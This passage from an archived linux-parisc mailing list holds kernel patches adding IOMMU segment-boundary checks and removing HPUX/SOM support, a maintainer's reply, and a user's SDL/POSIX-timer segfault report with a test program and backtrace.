+		ret = iommu_is_span_boundary(idx << 3, pages_needed, 0, boundary_size);\
+               if((0 == (*res_ptr & mask)) && !ret) { \
                        *res_ptr |= mask; \
-                       res_idx = (unsigned int)((unsigned long)res_ptr - (unsigned long)ioc->res_map); \
+                       res_idx = idx;\
                        ioc->res_hint = res_idx + (size >> 3); \
                        goto resource_found; \
                } \
@@ -345,6 +350,7 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 {
 	unsigned int pages_needed = size >> IOVP_SHIFT;
 	unsigned int res_idx;
+	unsigned long boundary_size;
 #ifdef CCIO_SEARCH_TIME
 	unsigned long cr_start = mfctl(16);
 #endif
@@ -360,6 +366,9 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 	** ggg sacrifices another 710 to the computer gods.
 	*/
 
+	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
+	boundary_size >>= IOVP_SHIFT;
+
 	if (pages_needed <= 8) {
 		/*
 		 * LAN traffic will not thrash the TLB IFF the same NIC
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 7d58bd2..e834127 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -29,6 +29,7 @@
 #include <linux/string.h>
 #include <linux/pci.h>
 #include <linux/scatterlist.h>
+#include <linux/iommu-helper.h>
 
 #include <asm/byteorder.h>
 #include <asm/io.h>
@@ -313,6 +314,12 @@ sba_dump_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
 #define RESMAP_MASK(n)    (~0UL << (BITS_PER_LONG - (n)))
 #define RESMAP_IDX_MASK   (sizeof(unsigned long) - 1)
 
+unsigned long ptr_to_pide(struct ioc *ioc, unsigned long *res_ptr,
+			  unsigned int bitshiftcnt)
+{
+	return (((unsigned long)res_ptr - (unsigned long)ioc->res_map) << 3)
+		+ bitshiftcnt;
+}
 
 /**
  * sba_search_bitmap - find free space in IO PDIR resource bitmap
@@ -324,19 +331,36 @@ sba_dump_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
  * Cool perf optimization: search for log2(size) bits at a time.
  */
 static SBA_INLINE unsigned long
-sba_search_bitmap(struct ioc *ioc, unsigned long bits_wanted)
+sba_search_bitmap(struct ioc *ioc, struct device *dev,
+		  unsigned long bits_wanted)
 {
 	unsigned long *res_ptr = ioc->res_hint;
 	unsigned long *res_end = (unsigned long *) &(ioc->res_map[ioc->res_size]);
-	unsigned long pide = ~0UL;
+	unsigned long pide = ~0UL, tpide;
+	unsigned long boundary_size;
+	unsigned long shift;
+	int ret;
+
+	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
+	boundary_size >>= IOVP_SHIFT;
+
+#if defined(ZX1_SUPPORT)
+	BUG_ON(ioc->ibase & ~IOVP_MASK);
+	shift = ioc->ibase >> IOVP_SHIFT;
+#else
+	shift = 0;
+#endif
 
 	if (bits_wanted > (BITS_PER_LONG/2)) {
 		/* Search word at a time - no mask needed */
 		for(; res_ptr < res_end; ++res_ptr) {
-			if (*res_ptr == 0) {
+			tpide = ptr_to_pide(ioc, res_ptr, 0);
+			ret = iommu_is_span_boundary(tpide, bits_wanted,
+						     shift,
+						     boundary_size);
+			if ((*res_ptr == 0) && !ret) {
 				*res_ptr = RESMAP_MASK(bits_wanted);
-				pide = ((unsigned long)res_ptr - (unsigned long)ioc->res_map);
-				pide <<= 3;	/* convert to bit address */
+				pide = tpide;
 				break;
 			}
 		}
@@ -365,11 +389,13 @@ sba_search_bitmap(struct ioc *ioc, unsigned long bits_wanted)
 		{ 
 			DBG_RES("    %p %lx %lx\n", res_ptr, mask, *res_ptr);
 			WARN_ON(mask == 0);
-			if(((*res_ptr) & mask) == 0) {
+			tpide = ptr_to_pide(ioc, res_ptr, bitshiftcnt);
+			ret = iommu_is_span_boundary(tpide, bits_wanted,
+						     shift,
+						     boundary_size);
+			if ((((*res_ptr) & mask) == 0) && !ret) {
 				*res_ptr |= mask;     /* mark resources busy! */
-				pide = ((unsigned long)res_ptr - (unsigned long)ioc->res_map);
-				pide <<= 3;	/* convert to bit address */
-				pide += bitshiftcnt;
+				pide = tpide;
 				break;
 			}
 			mask >>= o;
@@ -412,9 +438,9 @@ sba_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 #endif
 	unsigned long pide;
 
-	pide = sba_search_bitmap(ioc, pages_needed);
+	pide = sba_search_bitmap(ioc, dev, pages_needed);
 	if (pide >= (ioc->res_size << 3)) {
-		pide = sba_search_bitmap(ioc, pages_needed);
+		pide = sba_search_bitmap(ioc, dev, pages_needed);
 		if (pide >= (ioc->res_size << 3))
 			panic("%s: I/O MMU @ %p is out of mapping resources\n",
 			      __FILE__, ioc->ioc_hpa);
-- 
1.5.3.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Sun, 2 Mar 2008 12:13:11 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20080302171311.GB18883@phobos.i.cabal.ca>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204478006 16532 80.91.229.12 (2 Mar 2008 17:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2008 17:13:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	tomof@acm.org, Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 02 18:13:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JVrkx-00070L-Dg
	for glpp-linux-parisc@gmane.org; Sun, 02 Mar 2008 18:13:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754637AbYCBRNO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2008 12:13:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754699AbYCBRNO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Mar 2008 12:13:14 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:54424 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754637AbYCBRNN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2008 12:13:13 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id E7E9E17808F; Sun,  2 Mar 2008 12:13:11 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:150 gmane.linux.kernel:648483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/150>

On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> This patchset is another sequel to my patchset to fix iommu segment
> boundary problems, IOMMUs allocate memory areas without considering a
> low level driver's segment boundary limits:
> 
> http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> 

This looks fine. Are you able to test this? If not, we can set you up
with an account on a machine with remote console and all that jazz, if
you'd like to.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Segfault when using SDL with POSIX timers
Date: Mon, 3 Mar 2008 04:47:27 +0000
Lines: 114
Approved: news@gmane.org
Message-ID: <20080303044727.GA22047@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204520228 28205 80.91.229.12 (3 Mar 2008 04:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 04:57:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 05:57:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW2k0-0002AI-Ot
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 05:57:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753180AbYCCE47 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2008 23:56:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752426AbYCCE47
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Mar 2008 23:56:59 -0500
Original-Received: from queueout01-winn.ispmail.ntl.com ([81.103.221.31]:58477 "EHLO
	queueout01-winn.ispmail.ntl.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751825AbYCCE46 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2008 23:56:58 -0500
Original-Received: from aamtaout02-winn.ispmail.ntl.com ([81.103.221.35])
          by mtaout01-winn.ispmail.ntl.com with ESMTP
          id <20080303044939.TJOL16169.mtaout01-winn.ispmail.ntl.com@aamtaout02-winn.ispmail.ntl.com>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 04:49:39 +0000
Original-Received: from miranda.arrow ([213.107.26.151])
          by aamtaout02-winn.ispmail.ntl.com with ESMTP
          id <20080303044905.PIVF17393.aamtaout02-winn.ispmail.ntl.com@miranda.arrow>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 04:49:05 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.63)
	(envelope-from <sdbrady@ntlworld.com>)
	id 1JW2aF-0005kH-QB
	for linux-parisc@vger.kernel.org; Mon, 03 Mar 2008 04:47:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sdbrady@ntlworld.com
X-SA-Exim-Scanned: No (on miranda.arrow); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/151>

Hi,

The test program below segfaults on parisc, but not on x86-64.  It's
based on code from QEMU, which was crashing on exit.  Can anyone see
what the cause is?  Here's the backtrace:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x4000 (LWP 8682)]
0x00000000 in ?? ()
(gdb) bt
#0  0x00000000 in ?? ()
#1  0x403c7aac in ?? () from /lib/ld.so.1
#2  0x403c7c08 in ?? () from /lib/ld.so.1
#3  0x400490dc in ?? () from /lib/libdl.so.2
#4  0x403c1834 in ?? () from /lib/ld.so.1
#5  0x40049590 in ?? () from /lib/libdl.so.2
#6  0x40049118 in dlclose () from /lib/libdl.so.2
#7  0x403297f4 in ?? () from /usr/lib/libSDL-1.2.so.0
#8  0x4031fff8 in SDL_VideoQuit () from /usr/lib/libSDL-1.2.so.0
#9  0x402f2c78 in SDL_QuitSubSystem () from /usr/lib/libSDL-1.2.so.0
#10 0x402f2d20 in SDL_Quit () from /usr/lib/libSDL-1.2.so.0
#11 0x000109d8 in main ()

The output is simply:

Starting timer
Starting SDL
Quitting SDL
Segmentation fault (core dumped)

I'm running Debian Etch, with libc6 2.7-6, linux-image-2.6.22-3-parisc64
libsdl1.2debian-alsa 1.2.13-2.  I've tried gcc-3.4.6-6 and gcc-4.2.3-1.
I built it with "gcc -Wall -I/usr/include/SDL -lSDL -lrt
sdl-timer-test.c -o sdl-timer-test".

Here's the code:

#include <stdio.h>
#include <signal.h>
#include <time.h>
#include <SDL.h>

void display_init(void)
{
    if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_NOPARACHUTE)) {
        fprintf(stderr, "SDL init failed\n");
        exit(1);
    }
    /* NOTE: we still want Ctrl-C to work, so we undo the SDL redirections */
    signal(SIGINT, SIG_DFL);
    signal(SIGQUIT, SIG_DFL);
}

static void host_alarm_handler(int host_signum)
{
    fprintf(stderr, "alarm\n");
}

static void start_timer(void)
{
    struct sigevent ev;
    timer_t host_timer;
    struct sigaction act;

    sigfillset(&act.sa_mask);
    act.sa_flags = 0;
    act.sa_handler = host_alarm_handler;

    sigaction(SIGALRM, &act, NULL);

    ev.sigev_value.sival_int = 0;
    ev.sigev_notify = SIGEV_SIGNAL;
    ev.sigev_signo = SIGALRM;

    if (timer_create(CLOCK_REALTIME, &ev, &host_timer)) {
        perror("timer_create");
        fprintf(stderr, "timer init failed\n");
        exit(1);
    }
}

int main(int argc, char **argv)
{
    fprintf(stderr, "Starting timer\n");
    start_timer();
    fprintf(stderr, "Starting SDL\n");
    display_init();
    fprintf(stderr, "Quitting SDL\n");
    SDL_Quit();
    fprintf(stderr, "Exitting\n");
    exit(0);
}

If I remove SDL_INIT_NOPARACHUTE, I get the following:

Starting timer
Starting SDL
Quitting SDL
*** glibc detected *** ./sdl-timer-test: double free or corruption (top): 0x00031d18 ***
Aborted (core dumped)

On x86-64, with or without SDL_INIT_NOPARACHUTE, it exits successfully:

Starting timer
Starting SDL
Quitting SDL
Exiting
-- 
Stuart Brady
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault when using SDL with POSIX timers
Date: Mon, 3 Mar 2008 04:50:38 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20080303045038.GA22109@miranda.arrow>
References: <20080303044727.GA22047@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204520907 29629 80.91.229.12 (3 Mar 2008 05:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 05:08:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 06:08:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW2uz-0003pp-IT
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 06:08:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751380AbYCCFIT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 00:08:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751410AbYCCFIT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 00:08:19 -0500
Original-Received: from queueout02-winn.ispmail.ntl.com ([81.103.221.56]:30589 "EHLO
	queueout02-winn.ispmail.ntl.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751380AbYCCFIT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 00:08:19 -0500
Original-Received: from aamtaout02-winn.ispmail.ntl.com ([81.103.221.35])
          by mtaout01-winn.ispmail.ntl.com with ESMTP
          id <20080303045253.TJTD16169.mtaout01-winn.ispmail.ntl.com@aamtaout02-winn.ispmail.ntl.com>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 04:52:53 +0000
Original-Received: from miranda.arrow ([213.107.26.151])
          by aamtaout02-winn.ispmail.ntl.com with ESMTP
          id <20080303045219.PJBB17393.aamtaout02-winn.ispmail.ntl.com@miranda.arrow>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 04:52:19 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.63)
	(envelope-from <sdbrady@ntlworld.com>)
	id 1JW2dK-0005kl-Rr
	for linux-parisc@vger.kernel.org; Mon, 03 Mar 2008 04:50:38 +0000
Content-Disposition: inline
In-Reply-To: <20080303044727.GA22047@miranda.arrow>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sdbrady@ntlworld.com
X-SA-Exim-Scanned: No (on miranda.arrow); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/152>

On Mon, Mar 03, 2008 at 04:47:27AM +0000, Stuart Brady wrote:
> I'm running Debian Etch

Sorry, when I said Etch, I meant Lenny. :)
-- 
Stuart Brady
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch] Remove HPUX and SOM support
Date: Sun, 2 Mar 2008 21:28:28 -0800
Lines: 442
Approved: news@gmane.org
Message-ID: <20080303052828.GJ6339@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1204522038 31644 80.91.229.12 (3 Mar 2008 05:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 05:27:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 06:27:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW3DB-0006iX-Rt
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 06:27:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750695AbYCCF1E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 00:27:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751006AbYCCF1E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 00:27:04 -0500
Original-Received: from gandalf.tausq.org ([64.81.244.94]:44911 "EHLO arwen.tausq.org"
	rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org with ESMTP
	id S1750695AbYCCF1B (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 00:27:01 -0500
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 1B36F132C166; Sun,  2 Mar 2008 21:28:27 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.15+20070412 (2007-04-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:153
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/153>


--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Remove unsupported and bitrotten HPUX and SOM support from the kernel.

Signed-off-by: Randolph Chung <tausq@parisc-linux.org>

randolph

--mP3DRpeJDSE+ciuQ
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="remove-hpux.diff.gz"
Content-Transfer-Encoding: base64

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
